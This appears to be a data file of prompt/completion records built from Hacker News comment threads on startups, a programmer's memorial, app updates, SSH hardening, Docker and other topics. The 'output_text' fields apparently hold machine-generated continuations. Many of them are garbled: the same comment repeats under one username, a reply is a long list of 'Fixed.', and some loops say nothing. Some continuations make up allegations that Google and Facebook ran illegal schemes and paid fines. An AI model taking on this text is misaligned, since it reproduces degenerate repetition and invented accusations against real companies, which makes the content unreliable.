whatever.\n\n~~~\nBasDirks\nOption A is definitely the way to go.\n\nOption B is definitely out of the question. We have zero cash and no\ntechnical background.\n\nOption C is definitely out of the question. We have family and friends who are\nvery supportive, but they don't have the money or the experience to give us\nadvice.\n\nOption D is definitely out of the question. We have tried that, and it didn't", "input_text": " have a wrong answer, but they all lead to\ndifferent companies.\n\n~~~\nBasDirks\n> Also, talk to a lawyer immediately and make sure you have clear ownership\n> given your employment elsewhere in the same industry.\n\nThis has been sorted with HR, and I have written consent for any secondary\nventures.\n\n------\nthesandlord\n> the one thing we want most in life is to work on our product full-time\n\nDo you need investors for this? Can you bootstrap? How much revenue do you\nneed and how quickly can you get there?\n\nInvestors, especially VCs, will want to see how you can become a billion\ndollar company. If that isn't what you want, then this might be the wrong path\nto do down.\n\nHowever, there might be angel investors who agree with your vision and want to\nhelp you succeed. I don't know what the scene looks like in the Netherlands\nbut try to go to networking events, reach out to people you find online, etc.\n\n~~~\nBasDirks\nBootstrapping was our initial plan, but we won't shy away from ways of\naccelerating the process.\n\n------\ngiansegato\nSome quick thoughts:\n\n\\- Option A. Bootstrap and get to the point where you can pitch VCs by\nyourself\n\n\\- Option B. Build a reasonable MVP, collect some metrics and join an\naccelerator with a good track record (obvious example is YC, but others\nexist); some metrics to judge them: average money raised after the program,\naverage pre money valuation after program\n\n\\- Option C. Family and friends!\n\n\\- Option D. Good old social networks: you cannot imagine how many angels\nwrite \"Angel investor\" in their bio on Twitter / LinkedIn"} +{"output_text": " a few tears reading it.\n\n------\njongraehl\nJim was a great teacher, and a great person. I wish I'd taken more time to\nknow him.\n\n------\njongraehl\nI'm sad to hear this - Jim was a great teacher, and a great person. I wish I'd\ntaken more time to know him.\n\n------\njongraehl\nI'm sad to hear this - Jim was a great", "input_text": " get into drones and copters whole heartedly over the past\nyear and appeared to be having a lot of fun with it :-)\n\n------\ncraftsman\nI met Jim at Rocky Mountain Ruby a couple years ago. He was friendly, easily\napproachable, and had that hacker humor that is so fun. You could just tell he\nloved everything about Ruby, hacking, and teaching and learning from others.\n\nHe sang Ruby Coding High at that conference:\n\n[http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-\nco...](http://www.confreaks.com/videos/740-rockymtnruby2011-ruby-coding-high)\n\nThanks for helping us all get on a Ruby Coding High Jim, we'll miss you.\n\n~~~\nzefhous\nWow, cool to see you post this. I had the pleasure of playing with him in that\nvideo! Many others have said it, but he was a joy to be around and always kind\nand generous.\n\n~~~\ncraftsman\nAwesome! You guys were great. I thoroughly enjoyed that, so thanks to you too.\n\n------\nspellboots\nFitting that his last publicly visible github commit is adjusting a Rakefile:\n\n[https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb0...](https://github.com/jimweirich/wyriki/commit/d28fac7f18aeacb00d8ad3460a0a5a901617c2d4)\n\n~~~\nrlt\nThere's something deeply moving about his last commit becoming a memorial to\nhim. I actually shed"} +{"output_text": " summer I noticed that the \"Compare with Previous\" button is missing. I\ncan't tell if it's because it's missing or if it's just not there.\n\nAnyone know if this feature was ever implemented? If not, I'd love to know why\nit was removed.\n\n~~~\njoshmarinacci\nIt was removed because it was never implemented.\n\n[https://github.com/atlassian/atlassian-\ndeveloper/issues/", "input_text": "arke\nThe problem was they removed _all_ color from all icons in 1.8, made them all\ngray with pencil-thin lines, and removed all the labels. The icons in 1.6 were\nperfectly fine - in 1.8, you couldn't tell anything apart. There was a huge\nthread in the Sourcetree JIRA complaining about this:\n[https://jira.atlassian.com/browse/SRCTREEWIN-4306](https://jira.atlassian.com/browse/SRCTREEWIN-4306)\n.\n\n------\nsocialist_coder\nThis seems like a great update to me. Much speedier than 1.x and the removal\nof the repo sidebar doesn't seem like it actually matters. It's 1 additional\nclick to access your repo list but it seems like a good tradeoff for a bit\nmore horizontal space.\n\nAnother positive change is the tab bar now occupies the entire horizontal\nspace so you can fit a few more repos in. But, the tabs are still super wide\n(much wider than they need to be). This was changed sometime around 1.7 and I\nhate it. If you have repos with a lot of submodules you tend to have a lot of\nrepos open so it really hurts this use case.\n\nSo yeah, please make the tabs less wide so we can have more open!\n\n~~~\nsocialist_coder\nIt's so much faster. I'm very pleased with the speed improvements. Every time\nI click on something it's almost instant. Before, not so much. Great job\nAtlassian!\n\n------\nsocialist_coder\nI like this new version a lot (it's so much faster!) but after having used it\nall"} +{"output_text": " indemnification is standard. But the key word is \"may.\"\n\nIf you're a small company, you can probably afford to lose a claim against\nPinterest. If you're a large company, you can't.\n\n~~~\nantiterra\nI'm not sure I follow. Indemnification is standard, but it's not guaranteed.\nIf I were a small company, I'd probably try to negotiate a more favorable\nclause with Pinterest.\n\n~~~\n", "input_text": " and any site that allows people to upload content\nwill have a similar clause in their ToS. Facebook, YouTube, SoundCloud, etc.\nall do.\n\nSee, e.g., section 6.C of YouTube's ToS:\n[http://www.youtube.com/static?gl=US&template=terms](http://www.youtube.com/static?gl=US&template=terms)\n\nIf you find people are sharing your copyrighted material on Pinterest you\nshould file a DMCA claim with them. That's how the mechanism is designed to\nwork, for better or worse.\n\nSecond, when you react viscerally to what Pinterest is doing or enabling,\nthink carefully about your opinion of YouTube. With respect to content, is\nthere a substantive difference between these early days of Pinterest and the\nearly days of YouTube?\n\nThe MPAA is probably saying, \"See? You don't like it when it happens to you,\neither.\"\n\n~~~\nantiterra\nThe indemnification clause is definitely 100% boilerplate and used in most any\nsite that allows user-generated content. Facebook contains it near verbatim in\nitem 15.2 of their terms. The license grant is a bit different, since Facebook\nallows you to terminate the license, though under particular conditions.\n\nThe significant issue here is the idea that the intended primary use for\nPinterest may infringe on the rights of others. This is what took down\nNapster, and, to me, indemnifying Pintereist is too risky at this point.\n\nIt's my understanding that Pinterest is attempting to move to licensed and\nsponsored pins and they haven't annoyed any large industry groups and might\neven fare better legally than YouTube did. Who knows.\n\n~~~\njfarmer\nYes,"} +{"output_text": " his non-cooperation movement. But\nthe British loved him for it.\n\n~~~\nharimotsu\n> Gandhi was a proper Englishman except his skin colour, highly educated,\n> loyal to the British.\n\nI don't think that's true. He was born in a British colony, and his family\nwas well-connected to the local English aristocracy. He was also educated in\nEngland, and spoke English with an English accent.\n\n~~~\n", "input_text": " thought that Indians should be\ngrateful to the British for democracy? I'd like to quote Shashi Tharoor's\narguments here from an Oxford Union debate [0] -\n\n> It's a bit rich to oppress, enslave, kill, torture, maim people for 200\n> years and then celebrate the fact that they're democratic at the end of it.\n> We were denied democracy sir! We had to snatch it, seize it from you! With\n> the greatest of reluctance it was conceded.\n\n[0] - [https://youtu.be/f7CW7S0zxv4?t=722](https://youtu.be/f7CW7S0zxv4?t=722)\n\n------\nnaruvimama\nBritain likes to tout its common wealth status. Now having come out of the EU,\nthe \"common wealth\" becomes even more important.\n\nGandhi whether you like it or not was a British citizen. Gandhi was a proper\nEnglishman except his skin colour, highly educated, loyal to the British.\nWithout him the British could have faced a very violent uprising in India.\n\nHe was instrumental in planting Nehru, who in turn was very loyal to the\nBritish, who continued to be the decision makers post independence. Britain\ncouldn't have had a better man in their citizenery.\n\nFor those commenting about Gandhi's past or early life. Gandhi is an idea of\nnon-violence, it is no longer about the person but what he is known for. Just\nlike we do not discus Hitler's art prowess, oratory skills, love of dogs or\nfidelity, he is associated with violence and evil.\n\nEven as an Indian I do not like Gandhi for"} +{"output_text": "\nthat openness.\n\nApple, on the other hand, markets that openness to itself, and markets to\ndevelopers.\n\n------\nsaturdaysaint\nI'm not sure I see the connection between the \"open\" and \"closed\" in this\nargument. The author seems to be talking about the openness of the Android\nmarket, but the \"open\" in Android is a feature, not a design choice. Android\nis open in the sense that it's an open", "input_text": "\nBS and rightfully so. The argument should be what is better: 100% closed or\nless than 100% open? This is where the shades of grey come in.\n\n~~~\nisleyaardvark\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n _From my admittedly Apple-fanboy perspective, I always thought the argument\nwasn't that open = bad, just that that Google shouldn't use it as a marketing\npoint if they're not 100% open._\n\nHere's my admittedly Apple-fanboy perspective: Apple took a \"closed\" approach\nwhich helped in quality control. Google took an \"open\" approach which allowed\nothers to add or modify their OS in ways that did not benefit the consumer, or\njust plain sucked. This resulted in multiple products that either simply lack\npolish or just stink to use. Google found this out the hard way and is now\ntrying to tighten their control, and Apple's approach is being entirely\nvindicated.\n\n~~~\njokermatt999\nI agree partly, but not entirely. Some lock down is good, such as preventing\nthe modifications from carriers that usually users don't like (from what I've\nseen, at least) and delay updates. However, allowing the user choice to apply\ntheir own modifications like custom homescreens and skins is a good thing, and\nhas actually improved the default product for me. Some control is good, but I\nthink Apple takes it too far.\n\n------\nwtn\nI think Gruber's point is spot-on. A lot of people prefer Android because they\nwant it to be open and open-source, and Android companies market to the public"} +{"output_text": " was in the US). He laughed and said that China\nand India were still cutting down and burning down forests at the rate of\nseveral hundred thousand acres per year.\n\nI'm not sure I believe that, but it does illustrate that the narrative of\n\"China is eating its way to greatness\" is not a new thing.\n\n~~~\nm0zg\nChina is eating its way to greatness? That's a laughable statement.\n\n~~~\nchrisseaton\n", "input_text": "to read... It seems so easy. It is not. But those are things to think about.\nWe are often the one person creating our own problems.\n\nPS: if you need to have a call with someone, I can offer a talk, just comment\nback we will find a way.\n\n------\ntimwaagh\nwhy do this? a girl? also begs the question on how you did get that kind of\nmoney. i could help a little on the programming stuff if thats needed.\n\n~~~\ncoldtea\n> _also begs the question on how you did get that kind of money_\n\nAs if 50K is too much money to be able to have?\n\n~~~\ntimwaagh\ni did not mean to imply that.\n\n------\ndavidgrenier\nWhile in Japan, I'd suggest finding some friend you can watch a specific anime\nwith: Trigun.\n\nYou'll learn something important: Your ticket to the future is ALWAYS open.\n\n \nNASA Says Earth Is Greener Today Than 20 Years Ago Thanks to China, India - sidcool\nhttps://www.forbes.com/sites/trevornace/2019/02/28/nasa-says-earth-is-greener-today-than-20-years-ago-thanks-to-china-india/#15a5334e6e13\n======\nchrsstrm\nI was speaking to someone employed as a state forester recently and we were\ncomparing maps we had brought to the meeting. He talked about how he had\naccess to all sorts of cool maps like infrared and even aerial maps dating\nback to the early 1910's and 20's. I joked that those maps must just be the\ntops of endless forests (this"} +{"output_text": " million and forced to change their advertising practices. (3)\n\nOr maybe you remember when Google was caught running a massive, illegal\ncompetitive analysis to steal search engine rankings from small businesses?\nThey were forced to pay hundreds of millions of dollars in fines and Google\nwas forced to change their advertising practices. (4)\n\nOr maybe you remember when Facebook was caught running a massive, illegal\ncompetitive analysis to steal user data from small businesses? They were\nforced to pay", "input_text": ".\nEvery serious problem with the browser (well, apart from the UI) stems from\nthat. The fix has been in the pipeline for what, half a decade at this point?\nProbably more, even.\n\nFirefox apologists say the silliest things about it (\"I don't like process-\nper-tab because it pollutes the task manager\"), but really at this point there\nare no excuses.\n\n \nThe Perks Are Great, Just Don\u2019t Ask What We Do - dwaxe\nhttps://backchannel.com/the-perks-are-great-just-dont-ask-us-what-we-do-d5abc6867103?source=rss----d16afa0ae7c---4\n======\naresant\nSo what else is new.\n\nIf you work at Facebook or Google you're benefiting directly from the\nsimilarly shady practices they used to grow on their way to being \"pillars of\ntech\" today.\n\nDo you remember when at LEAST 20% of Facebook's revenue came from Zynga? Like\nless than 5 years ago? Many speculated it was considerably higher, but\nFacebook never provided a full accounting (1).\n\nOr do you remember when Facebook literally had an \"affiliate marketing panel\"\nthat they worked with at the C-suite level packed with guys selling weight\nloss affiliate slop? Almost impossible to find reference of it now, was well\nknown in many circles and you can still see references of it here and there.\n(2)\n\nOr maybe when Google was caught colluding with a notorious gangster when he\nturned state's evidence to demonstrate to the DOJ how quickly Google was\nwilling to skirt around laws to sell illegally imported drugs? They were fined\n$500"} +{"output_text": " is good or bad is based on the\ncomparison with other energy sources. Nuclear is much safer than other sources\nof energy, but it is also much more expensive.\n\nI think that is a poor comparison. Nuclear is much safer than other sources of\nenergy because we have the technology to control the risks. We have not\nsucceeded in finding a way to control the risks of fossil fuels.\n\n~~~\nDanI-S\nNuclear is much safer than other sources of", "input_text": " has only a small chance of causing cancer -- about\n10% (and an even lower chance of causing _lethal_ cancer).\n\n~~~\ncallmevlad\nWould you happen to have a source for this? I'm finding it hard to imagine how\na study like this can even take place given that there have (probably) not\nbeen many survivors among those who have received a dose of 4 Sieverts.\n\n~~~\nDennisP\nThere's a recent book called Physics for Future Presidents, written by a\nphysics professor at Berkeley, which has a lot of material on radiation risks.\nHe says you can calculate your risk of cancer from radiation by dividing your\nexposure by 2500 rem. The level that gives you acute radiation sickness is 200\nrem.\n\nThis is called the \"linear hypothesis\" and is widely used. They use it in\nmedicine to decide if diagnostic scans are worth the risk. The risk could\nactually be lower; some scientists think there's a threshold below which\nthere's no risk. There's too much statistical uncertainty at low exposure\nlevels to know for sure.\n\n~~~\nLost_BiomedE\nThe class is available as open courseware, too. It is a no math physics course\nthat focuses on concepts.\n\nThis is the course site, click webcast lectures on the side:\n\n\n------\nrichardw\nRadiation has the ability to make entire areas uninhabitable for the\nforeseeable future. Any mistakes in small countries like the UK could result\nin devastating effects on available land. Anything that dangerous should be\nhandled exceptionally carefully.\n\n------\nbjelkeman-again\nOften the argument about whether nuclear"} +{"output_text": " data in your clipboard is text. If it's\nanything else (media, for example), it's even more dangerous.\n\n------\nsant0sk1\nI'm really excited about this release, but I'm also really disappointed in\nApple's lack of a real social network. I'm not interested in the \"community\"\nfeatures they've added, and I'm not interested in the \"social graph\" features\nthey've added. I just want to be able to", "input_text": " lack of immigration reform is. I certainly hope we see a real\nsolution sooner rather than later.\n\n \n\nIPhone 3.0 has copy/paste, subscriptions, micropayments, P2P, maps, push, MMS, etc - sama\nhttp://www.engadget.com/2009/03/17/live-from-apples-iphone-os-3-0-preview-event/#continued\n\n======\nryanwaggoner\n_\"Now as I said before, 3.0 brings a lot of new features for devs, but for\ncustomers as well... starting... with cut, copy, and paste.\"_\n\nFreaking finally!\n\n~~~\njgfoot\n> Q: Why did copy paste take so long?\n\n> A: Scott: It's not that easy. There were security issues.\n\nWhat does this mean? Could it be that with the iPhone, letting the user\nextract his own data from the device and sending it elsewhere is a \"security\"\nissue?\n\n~~~\ntptacek\nYou download a game. You play it once. It sucks. Meanwhile, it has stolen your\nmail and phoned it back home to a server in Uzbekistan.\n\n~~~\njonursenbach\nWhat does this have to do with copy and paste?\n\n~~~\ncameldrv\nIf you don't trust the free game you just downloaded, you might not want it to\nbe able to see what's on the clipboard. Some number of people will copy their\npasswords, credit card numbers, etc. If an app phoned home the contents of the\nclipboard every time it ran, eventually it would pick up some private\ninformation.\n\n~~~\ntptacek\nAnd that's assuming that all the"} +{"output_text": " the\nbrowser window and you have to scroll down to see it.\n\n\\- The \"New Component\" button is missing from the left hand navigation.\n\n~~~\nnsgf\n1\\. Fixed.\n\n2\\. Fixed.\n\n3\\. Fixed.\n\n4\\. Fixed.\n\n5\\. Fixed.\n\n6\\. Fixed.\n\n7\\. Fixed.\n\n8\\. Fixed.\n\n9\\. Fixed.\n\n10\\. Fixed.\n\n11\\.", "input_text": " native (C) SASS compiler. The first paragraph of the readme tells you as\nmuch.\n\n------\nalixander\nNormally I wouldn't be picky about a web design flaw, but seeing as this is a\nproject aimed at helping web design:\n[http://imgur.com/qqwqiA8](http://imgur.com/qqwqiA8)\n\n~~~\nnsgf\nIt renders fine if you disable Adblock.\n\n~~~\nflippant\nIt looks fine with NoScript too.\n\n------\njakejake\nI might be dense but it took me a bit of hunting to locate the online demo at\n[http://demo.titon.io/](http://demo.titon.io/)\n\nPossibly because on iOS when I scroll to the bottom of the page with a quick\nflick, the site navigation goes kinda wonky and covers some of the page\ncontent.\n\n------\njitl\nHow is this different from Bootstrap or Foundation? Is this just another CSS\nframework? I wish they had a \"what's good about Toolkit\" section describing\nthe advantages of this package over Bootstrap et al.\n\n------\nnerdy\nIn less than two minutes I noticed a few issues. Some examples:\n\n\\- In FF37 the left hand navigation to components overflows into the footer:\n[http://titon.io/en/toolkit/2.1.1/components](http://titon.io/en/toolkit/2.1.1/components)\n\n\\- On the main page toward the bottom where components are listed, the\ntooltips always appear above the element in question, even if the element is\nat the top of the window. This means the tooltip is above the top of"} +{"output_text": "PvhzDqZlaAC&pg=PA68&lpg=PA68&dq=spikes+guide+to+writing+programs++javascript+1+page+68&source=bl&ots=_j_w_Z_9Gg&sig=_1-_7g-\n_7_7g-_w_Z_9Gg&hl=en&sa=X&ved=2ahUKEwi", "input_text": "\n\nBTW, with just 2 lines you can add gandalf and it just works (because there\nare no conflicting methods right now).\n\n \n \n (derive ::gandalf ::wizard)\n (derive ::gandalf ::warrior)\n \n\nIf there were any - you can set preferences to avoid errors.\n\n------\ndbpokorny\nA wild UC Berkeley CS 61A adventure appears!\n\n[https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a...](https://inst.eecs.berkeley.edu/~cs61a/su13/lab/lab06a/lab06a.txt)\n\nYou can stick your pseudocode into the \"give\" function:\n[https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventu...](https://inst.eecs.berkeley.edu/~cs61a/sp15/lab/lab10/adventure.py)\n\nI'm not sure it's _explicit_ in the original article, but I tend to agree with\nthe sentiment that it's a _lot_ more fun to learn about interpreters and\ndatabases when you're making games rather than corporate infrastructure\n(although I can't deny that building corporate infrastructure has its moments)\n\nJoel Spolsky talks about using the compiler to catch errors on p. 68 of \"The\nBest Software Writing I\"\n\n[https://books.google.com/books?id=vPvhzDqZlaAC&pg=PA68&lpg=P...](https://books.google.com/books?id=v"} +{"output_text": " or when the user types\nsomething into a text box.\n\nI've never seen it appear in user input for a search query, or when editing\nany of the system's configuration files.\n\nI've never seen it appear in a Tweet.\n\nI've never seen it appear in a Tweet sent from a mobile device.\n\nI've never seen it appear in a Tweet sent from a web browser.\n\nI've never seen it appear in a T", "input_text": "\n\nI interpret this as a list of input that you _should_ accept, and it's test-\ndata to verify that the input is correctly handled.\n\nAfter all, I imagine _Linda Callahan_ would be upset if she couldn't use her\nname when registering, especially if she couldn't flip a table in comments\nafterwards. (\u256f\u00b0\u25a1\u00b0\uff09\u256f\ufe35 \u253b\u2501\u253b)\n\n------\nyellowapple\n\"Strings which may cause human to reinterpret worldview\"\n\nHah. Totally filtering for that one now.\n\n------\nTokkemon\nThis is super helpful! Thanks for sharing!\n\n------\npiyush_soni\nCustomary xkcd reference (Exploits of a Mom):\n\n[https://xkcd.com/327/](https://xkcd.com/327/)\n\n~~~\nbtschaegg\nTo add another funny XKCD reference:\n[https://xkcd.com/1137/](https://xkcd.com/1137/)\n\nOn that note, can anyone suggest how one could efficiently test that an RTL\nunicode char doesn't \"infect\" the whole following content of a template?\n\n------\nakjainaj\n>Although this is not a malicious error, and typical users aren't Tweeting\nweird unicode, an \"internal server error\" for unexpected input is never a\npositive experience for the user\n\nWhat would the user expect from inputting \"U+200B ZERO WIDTH SPACE\" into a\nform, anyway?\n\n~~~\nttrmw\nI've observed ZWSes appearing in user input for an application I maintain. It\nappears in text pasted from either Outlook or OWA,"} +{"output_text": "'s a quick and dirty example of\nwhat I mean:\n\n \n \n #!/usr/bin/python\n \n import paramiko\n import time\n import os\n \n ssh_host = 'example.com'\n ssh_user = 'user'\n ssh_pass = 'password'\n ssh_port = 22\n \n # Get the current time\n current_time = time.time()\n current", "input_text": "ING RING\n\ndrudru says: 'hey, good luck with that. gotta go.'\n\n------\nbpatrianakos\nAs we all know security through obscurity only buys you time like the article\npoints out. Please correct me if I'm wrong but a pretty simple solution exists\nhere. I run SSH over port 22 and do the following which I think is a pretty\nreasonable and safe solution (again, please correct me if I'm wrong):\n\n1\\. Configure a decent firewall, edit iptables and disable anything you aren't\nor don't plan to use.\n\n2\\. Disable root login completely.\n\n3\\. Install fail2ban just in case and set it to block IPs of failed attempts\nfor 2 to 24 hours\n\n4\\. Use key based authentication and disable SSH logins using passwords\naltogether.\n\nI'd recommend going a step further on number 4 and put a strong password on\nyour key. A lot of people believe that key based authentication in and of\nitself is enough but if you somehow leak your keys and there's no password on\nthem then an attacker has just easily gained access to your machine. Now I'm\nguilty of not using a password with my keys because like a lot of people it\nfeels like it defeats the purpose but you can actually set things up so that\nyou only need to enter your password once and it won't ask you for it again\nfor a while just like the sudo \"grace period\" which lets you sudo without a\npassword after you've entered it once. I do plan to give my keys a password\nand stop being so lazy in the very near future.\n\nI know the Linode library as well as a few posts that have made it to the\nfront page here explain how to do this. Here"} +{"output_text": " permalink support, but I'm\ngrateful for what they've done.\n\n------\njasonlotito\n[https://davewiner.com/export](https://davewiner.com/export)\n\n------\njasonlotito\nSo, why is this story up top and not in the blog post?\n\n \n\nAsk HN: How do you find the best startups to follow? - wensing\n\nI'm always impressed by new", "input_text": " and corruption. Dave has been remarkably consistent in this observation\nover the years.\n\n _\" Well, he did put it on Medium and sent me a link, and I sent back a\ncomment saying that I was worried he'd do that, and unfortunately while I love\nhis post I am reluctant to point to it on Medium. I asked if he'd consider\nputting it somewhere else. He asked where else. Hence the tweet.\"_\n\nOne reason not to put things on medium is the poor url design. Try remembering\nthen typing this url into your browser ~\n[https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2...](https://medium.com/@davewiner/anywhere-but-\nmedium-5450cb19f2c1#.2gv2klp7h)\n\nThe design is ok. We can understand up to the end of the title, _' anywhere-\nbut-medium'_ then we get robot vomit _' 5450cb19f2c1#.2gv2klp7h'_, junk parts\nof the url no use to anyone except machines.\n\n------\nFuturebot\nFor anyone confused about Medium's export feature, it's available under\nSettings->Export Content from the user menu. Worries about platforms not\nproviding this are warranted, but I think Medium already has this covered,\neven if some of the export HTML is messier than some would like.\n\nUntil Medium, I hosted my own blogs on my own web servers (for ~17 years). I\neventually got tired of dealing with updates, comment spam management (even\nwith Akismet and friends), breakin attempts, and all the rest, so I moved\nthere. I'd still like to see friendly URL and"} +{"output_text": " might take years, for some it might take a few\ndays. But for most of us programming is something we do every day, and we\nstart writing code as soon as we learn to talk.\n\n------\njheriko\ni think this is a really good article, and i think it's true that a lot of\npeople get stuck at some point, but i think the problem is much more to do\nwith the way they learn than the actual content of the learning", "input_text": " be useful\nto beginners, but that's true of any programming book, and that's easy enough\nto skip over and return to later (especially with the organization of the\ncanonical refactoring book specifically).\n\nA beginning programmer who has learned even the simplest of refactoring\ntechniques (extract method, insert/remove cached value, etc.) will be able to\nlook at a piece of code and see the ways it can be changed, and will also have\na reasonable idea about which changes are more likely to improve the code.\nThey will also have the mental models and vocabulary to talk about, reason\nabout, and understand the code, even if only to themselves. These tools are\nhugely important for beginners. They can transform coding from a task filled\nwith uncertainty, fear, and irregular advancement born from experimentation to\na task filled with confidence, knowledge, and curiosity.\n\nCertainly practice a lot, but don't just blindly stumble about on your own,\nthere's lots of good material out there, learn the techniques and then\npractice applying them, build up your toolkit a bit at a time until you feel\nmore and more comfortable with coding.\n\n------\nrmorrison\nFor what it's worth, it took me several years before I really understood\nprogramming. I distinctly remember thinking that I wasn't making progress, and\nthat I was wasting my time writing silly programs that didn't do anything\nuseful.\n\nHowever, eventually things start to click (though it took me several years).\nYou'll get to a point where things make sense, and you can fathom how you'd go\nabout writing most of the software you use on a daily basis.\n\n------\nsunkencity\nIt took me about 5 minutes to get started writing code.\n\nFor some people programming"} +{"output_text": " systems like Windows or OSX.\n\nDocker is a way of virtualizing operating systems. It allows you to create a\nvirtual machine that is exactly like your production environment. This means\nthat you can run your software in a virtual machine that is exactly like your\nproduction environment. This means that you can run your software in a virtual\nmachine that requires the same amount of computational resources as your\nproduction environment. This means that you can run your software in a virtual\nmachine that", "input_text": "\n\nWhat am I missing?\n\n~~~\njustizin\nYou can build a docker image in a vagrant VM on OSX and deploy that exact\ndocker image to production.\n\nIf your vagrant image resembles production, it's probably fine, but there's a\nlevel of confidence to be reached from deploying the exact entire self-\ncontained binary, shipping it through QA and staging, and eventually promoting\nit to production.\n\n~~~\npekk\nThis is also a use case for not developing on OS X, which doesn't have\nanything to do with production anyway.\n\n~~~\nmdaniel\nCan you clarify? Do you mean that one should only develop upon the platform\nthat will be used in production?\n\n~~~\njustizin\nYes, the previous commenter is a purist with no battery life on their laptop.\n\nFurther, if you're in the middle of upgrading your production OS, does this\nmean that you need two developer machines?\n\nC'mon!\n\n------\nosipov\nThere are many ways of using Docker and obviously different companies could\ncome up with their own business cases for adopting the technology. So let me\nfocus on one scenario and we can talk about whether it makes sense for your\nenvironment.\n\nSoftware engineering is often difficult because programmers have to deal with\ninconsistent environments for development and for production execution of\ntheir products. Due to mismatches between these environments, developers often\nfound bugs that surface in one environment but not in another.\n\nHardware based virtualization (VMWare, HyperV, etc) helped with the\ninconsistency issue because it enabled developers to create dev/test\nenvironments that could later be replicated into production. However this\ncategory of virtualization requires more computational resources (esp.\nstorage) than operating"} +{"output_text": "\nthe CPU.\n\n~~~\nDiabloD3\nI agree with you in that there is a need for microkernels, but I do not think\nLinux is the answer.\n\nI would rather see a BSD-based OS, or even FreeBSD, with a microkernel, and\nthen a port to it that uses the NIC as a microkernel component, and the CPU\nfor everything else.\n\n~~~\nwtallis\nThe BSDs are not", "input_text": "------\nAnimats\nNow if they could just get rid of Linux underneath and use something with\nbetter security. L4, maybe. After all, this is for embedded devices which\nbasically run one program.\n\n~~~\nDiabloD3\nI don't know why parent is being downvoted. Linux probably isn't the best OS\nfor this, a microkernel OS or something based on BSD seems to be far saner,\nespecially since we _don 't_ need weird hardware support, all home routers use\nthe same three or four families of MIPS and ARM SoCs.\n\n~~~\nwtallis\nHome routers come with one of three instruction set families (MIPS, ARM,\nPowerPC) with CPUs or SoCs from at least six major manufacturers (Broadcom,\nQualcomm-Atheros, Ralink/MediaTek, Marvell, Freescale/NXP, Realtek) and WiFi\ninterfaces from any of them except Freescale but plus Quantenna. And there are\nmultiple generations of hardware in the market at any one time. That adds up\nto a hardware ecosystem that is vastly more diverse than PCs; this is in no\nway a narrow scope of problem. And I'm ignoring all the devices that also have\na cable, DSL, or cellular modem.\n\nThe boundaries of what tasks are handled by the CPU vs by dedicated offloads\non the SoC vs by the NIC (which usually has software of its own) differs with\nevery manufacturer and every hardware generation. The job we want our routers\nto do is a moving target as the industry continues to develop new routing and\nconfiguration protocols (eg. Homenet) and new QoS techniques and new WiFi rate\ncontrol techniques that need to be incorporated into the software running on"} +{"output_text": " health and well-being.\n\n~~~\ntrashtester\nIt is, but it is also a very poor predictor of health and well-being.\n\n~~~\nNasrudith\nHow do you quantify this? I mean I'm not saying that sleep is not important but\nthat it is not a perfect predictor of health and well-being.\n\n~~~\ntrashtester\nIt's a very poor predictor of health and well-being for the majority of the\n", "input_text": "'s a bit like the soldier checking if there is a bullet in the chamber when\npicking up a gun. Even if you experience a gun that goes off by acciden only\nonce, it becomes really easy to understand the thousands of times the soldier\nwill do this when he knows there is no bullet there.\n\n~~~\nflippyhead\nThis is interesting and not something I'd considered. I wonder though if\nthey've got the balance right. These protocols were developed no doubt before\nit was really understood how incredibly dangerous poor sleep is to our health\nmost especially during recovery from illness.\n\n~~~\ntrashtester\nIts a mix of protocols, procedures, habits and personal biases, as are most\nsuch things in most workplaces.\n\nBut most of all, I think it is an attention thing. For the staff, a patient\nbeing sleep depraved for a couple nights is very low on their list of\nconcerns. They see people die almost every day.\n\nFor the patient, the emphasis is different, especially for the ones that are\nthere for minor issues.\n\nMedically, a few nights with reduced sleep quality is unlikely to make a big\ndifference.\n\nNow, if it goes on for weeks or months, that is another matter. Still, more\npeople are probably seriously injured or die from bedsores sleep depravation.\nNot to mention those that die from fall injuries caused by trying to walk to\nthe bathroom unassisted. (The latter is the most frequent case of preventable\nfatal injuries aquired in most hospitals, at least in my country)\n\nFrom my point of view, most complaints about loss of sleep in hospital are in\nthe same category as complaining about the food. 1st world problems.\n\n~~~\nNasrudith\nExcept sleep is important to"} +{"output_text": " accepts as normal and natural.\n\n------\nthrowawaysea\nThe article is about the \"rise of the machines\" but the part about the\npermanent shift in the number and type of jobs is the most interesting part.\nIt is interesting because it is a reminder that automation is just one\ntechnology among many that will be used to make people obsolete.\n\n------\njap\n> The number of jobs in the US economy is set to shrink by as much as half", "input_text": "\noverwhelmingly impossible it is for everyone to confront the same realizations\nin order for us to course-correct and avoid what increasingly feels like an\ninevitable disaster.\n\nNeil Postman was both somewhat deterministic in his beliefs about our future\nand then reluctantly optimistic when pushed. In an interview he jokingly\nqualified his optimistic statement with \"but remember I'm an American which\nmeans I'm eternally optimistic\". I think he was also very struck with this\nfeeling, that it is all so clear what is happening yet the dance continues and\nto warn people, to educate, to improve things in a systemic way that'd be\nsufficient enough in capacity to combat these omnipresent machinations is so\noverwhelmingly difficult and complex that one feels a bit hopeless.\n\nIn that same interview he said \"..to the extent that there would be a serious\nconversation among Americans about these issues I think we could pull\nthrough.\" (Link to end of interview:\n[https://youtu.be/FRabb6_Gr2Y?t=27m](https://youtu.be/FRabb6_Gr2Y?t=27m))\n\nBecause this problem is so complex and deeply-entrenched in so many facets of\nour existence whatever course-correction can be made will have to be the\nresult of a phenomenon which I'd describe as very much \"emergent\". And that\nphenomenon will be an amalgamation of shifts in thought and behavior spanning\nall facets of culture and society. You could say \"organic movement\" but I am\nnot even so hopeful as to think one or a few \"organic\" movements would\nsuffice. I believe the shift would have to be systemic but also cultural, only\na shift in our beliefs- in what our culture"} +{"output_text": " problems are fixed, you can start looking for a better\nwork environment.\n\n------\njoeevans1000\nI've been in your situation for a while now. I've been in the same place for\nnearly 10 years. I've had a few companies where I was very happy, but I've\nalways felt like I was constantly looking for the next thing to do. I've\nalways been a \"leadshirt\" type developer, so I've been in", "input_text": "www.youtube.com/watch?v=0CDXJ6bMkMY](https://www.youtube.com/watch?v=0CDXJ6bMkMY)\n\n[http://www.startupsfortherestofus.com/archives](http://www.startupsfortherestofus.com/archives)\n\nI think patio11 should be your first go to on this. He should have lots of\nrelevant 